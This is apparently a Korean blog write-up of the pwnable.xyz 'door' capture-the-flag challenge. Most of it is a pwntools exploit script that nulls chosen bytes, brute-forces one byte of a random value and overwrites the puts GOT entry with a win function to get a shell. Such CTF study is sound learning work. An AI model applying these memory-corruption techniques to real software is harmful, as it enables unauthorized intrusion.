본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / door

mitigation

 

랜덤 하게 생성된 값을 맞추면 aaw가 가능하다

잠을 못자 판단이 흐려져서 그런지 머리에 계속 4byte brute force만 떠올랐다

enter the door에서 원하는 주소 4byte를 0으로 만드는 것이 가능하다 put + 4를 먼저 null로 만들고

랜덤 한 값이 저장된 bss + 1 주소를 널로 만들어 1byte만 brute force 하도록 만들었다

이후에 aaw는 puts got주소에 win함수를 넣었다

 

from pwn import * 
#context.log_level = "debug"

p = remote("svc.pwnable.xyz", 30039)
#p = process("./door")

def brute():
    for i in range(0x100):
        p.recvuntil(b"> ")
        p.sendline(b"2")
        p.recvuntil(b"Realm: ")
        p.send(str(i))
        p.recvuntil(b"> ")
        p.sendline(b"1")

        byte = p.recv(1)
        print(f"{i}: {byte}")
        if byte == b"D":
            break
    
    return i

def set_null(addr):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"Realm: ")
    p.send(str(addr))
    p.recvuntil(b"> ")
    p.sendline(b"3")


door = 0x601244
win = 0x400969
puts = 0x601018

set_null(puts + 4)
set_null(door + 1)

byte = brute()

p.recvuntil(b"oor: ")
p.send(str(win))
p.recvuntil(b"Realm: ")
p.send(str(puts))

p.recvuntil(b"> ")
p.sendline(b"0")

p.interactive()

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / world  (0) 2022.05.28
pwnable.xyz / note v3  (0) 2022.05.27
pwnable.xyz / child  (0) 2022.05.27
pwnable.xyz / Car shop  (0) 2022.05.26
pwnable.xyz / words  (0) 2022.05.25